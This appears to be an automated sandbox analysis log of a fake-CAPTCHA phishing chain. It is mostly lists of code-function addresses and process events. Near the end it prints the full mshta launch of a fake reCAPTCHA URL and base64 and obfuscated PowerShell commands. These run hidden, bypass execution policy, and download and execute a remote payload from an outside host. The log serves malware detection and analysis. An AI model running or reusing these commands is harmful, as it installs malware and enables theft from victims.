Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BB047B39	18_2_00007FF9BB047B39
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BB040D98	18_2_00007FF9BB040D98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00DA98DA	20_2_00DA98DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00DA98E8	20_2_00DA98E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00DA0040	20_2_00DA0040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00DA0011	20_2_00DA0011
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00DA72F0	20_2_00DA72F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00DA72E0	20_2_00DA72E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00DA5BC1	20_2_00DA5BC1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00DA74F8	20_2_00DA74F8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00DA7508	20_2_00DA7508
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00DA7ED0	20_2_00DA7ED0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00DA06F8	20_2_00DA06F8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00DA7EE0	20_2_00DA7EE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_07429538	20_2_07429538
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_07425528	20_2_07425528
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_07426140	20_2_07426140
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_07425870	20_2_07425870
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_07C52361	20_2_07C52361
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_07C52370	20_2_07C52370
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_07C59C59	20_2_07C59C59
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_07C59C68	20_2_07C59C68
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_07D210B8	20_2_07D210B8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0834BB49	20_2_0834BB49
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0834BB49	20_2_0834BB49
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_083A0006	20_2_083A0006
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_083A52B1	20_2_083A52B1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_083A52C0	20_2_083A52C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_047B9000	20_2_047B9000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_047B9391	20_2_047B9391
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_07420BC8	20_2_07420BC8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_07420AD8	20_2_07420AD8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_083A0040	20_2_083A0040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00424877	30_2_00424877
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0040D00B	30_2_0040D00B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0043B010	30_2_0043B010
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0042F883	30_2_0042F883
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00434AC3	30_2_00434AC3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00418B09	30_2_00418B09
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0040E3B3	30_2_0040E3B3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0043BC40	30_2_0043BC40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00412650	30_2_00412650
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00410E06	30_2_00410E06
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00427770	30_2_00427770
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00420FC0	30_2_00420FC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_004087F0	30_2_004087F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00433840	30_2_00433840
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0042A866	30_2_0042A866
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0041B02D	30_2_0041B02D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_004250E0	30_2_004250E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_004038A0	30_2_004038A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_004300A0	30_2_004300A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_004410B0	30_2_004410B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00441140	30_2_00441140
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0041C95F	30_2_0041C95F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0042E96C	30_2_0042E96C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00429970	30_2_00429970
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0041C972	30_2_0041C972
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0041D100	30_2_0041D100
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00441900	30_2_00441900
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0042E91E	30_2_0042E91E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00439125	30_2_00439125
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0041D9C0	30_2_0041D9C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0042D1F0	30_2_0042D1F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0043F18E	30_2_0043F18E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00404250	30_2_00404250
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0043A251	30_2_0043A251
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00405A60	30_2_00405A60
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00442200	30_2_00442200
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00418B09	30_2_00418B09
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00411A1E	30_2_00411A1E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0041722D	30_2_0041722D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0040AA30	30_2_0040AA30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00428A3B	30_2_00428A3B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_004082C0	30_2_004082C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_004062C0	30_2_004062C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0041A2D0	30_2_0041A2D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_004162A8	30_2_004162A8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00402AB0	30_2_00402AB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00423352	30_2_00423352
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00409320	30_2_00409320
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00414BD5	30_2_00414BD5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00427BE0	30_2_00427BE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00433BF0	30_2_00433BF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0041F3A0	30_2_0041F3A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0043C3A7	30_2_0043C3A7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00435C40	30_2_00435C40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0043344D	30_2_0043344D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00441C70	30_2_00441C70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00421C10	30_2_00421C10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0041BC15	30_2_0041BC15
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0042ECEF	30_2_0042ECEF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0042F490	30_2_0042F490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_004194B0	30_2_004194B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00416D4B	30_2_00416D4B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00404D60	30_2_00404D60
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0041C500	30_2_0041C500
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00426D10	30_2_00426D10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00407530	30_2_00407530
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00431DC4	30_2_00431DC4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0041CDF0	30_2_0041CDF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00427DF4	30_2_00427DF4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00429580	30_2_00429580
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0041D5A0	30_2_0041D5A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00440DB0	30_2_00440DB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0041566A	30_2_0041566A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0040B639	30_2_0040B639
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00440ED0	30_2_00440ED0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_004096F0	30_2_004096F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0041B6F2	30_2_0041B6F2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00402E80	30_2_00402E80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00441680	30_2_00441680
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00424E90	30_2_00424E90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_004206B0	30_2_004206B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00406750	30_2_00406750
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0043A760	30_2_0043A760
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00421700	30_2_00421700
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00435F00	30_2_00435F00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00405F20	30_2_00405F20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00441F20	30_2_00441F20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00428F32	30_2_00428F32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_0043E730	30_2_0043E730
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_004287FF	30_2_004287FF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_004407B5	30_2_004407B5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00432FB1	30_2_00432FB1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: String function: 004080C0 appears 45 times
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: String function: 00414740 appears 123 times

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2358
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2358			Jump to behavior

Source: Process Memory Space: powershell.exe PID: 8096, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.win@27/95@51/25

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 30_2_0043B010 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

30_2_0043B010

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7944:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zypq1qut.lqr.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: HandleInformation

Jump to behavior

Source: C:\Windows\System32\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=1944,i,6179570645795824740,2383523467287587005,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://patiooutletmaipu.cl/tiendas/head/"
Source: unknown	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323 # ? ''I am not a robot - reCAPTCHA Verification ID: 9977''
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAGQAMQAuAGUAeABwAGwAbwByAGUAZABhAGkAcgB5AGEAcAB0AGkAdAB1AGQAZQAuAHMAaABvAHAALwBzAGgALgBiAGkAbgAnACcAOwBbAFMAYwByAGkAcAB0AEIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgARwBJACAAVgBhAHIAaQBhAGIAbABlADoAQwBpAFUAKQAuAFYAYQBsAHUAZQAuACgAKAAoACgARwBJACAAVgBhAHIAaQBhAGIAbABlADoAQwBpAFUAKQAuAFYAYQBsAHUAZQB8AE0AZQBtAGIAZQByACkAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAG4AbAAqAGcAJwAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAKABWAGEAcgBpAGEAYgBsAGUAIABsAFcAKQAuAFYAYQBsAHUAZQApACkALgBJAG4AdgBvAGsAZQBSAGUAdAB1AHIAbgBBAHMASQBzACgAKQAnAA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name)\|Member\|Where-Object{$_.Name-like'tomd'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name).PsObject.Methods\|Where-Object{$_.Name-like'ome'}).Name).Invoke('N-O',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://d1.exploredairyaptitude.shop/sh.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value\|Member)\|Where-Object{$_.Name-like'nlg'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs()
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=1944,i,6179570645795824740,2383523467287587005,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWw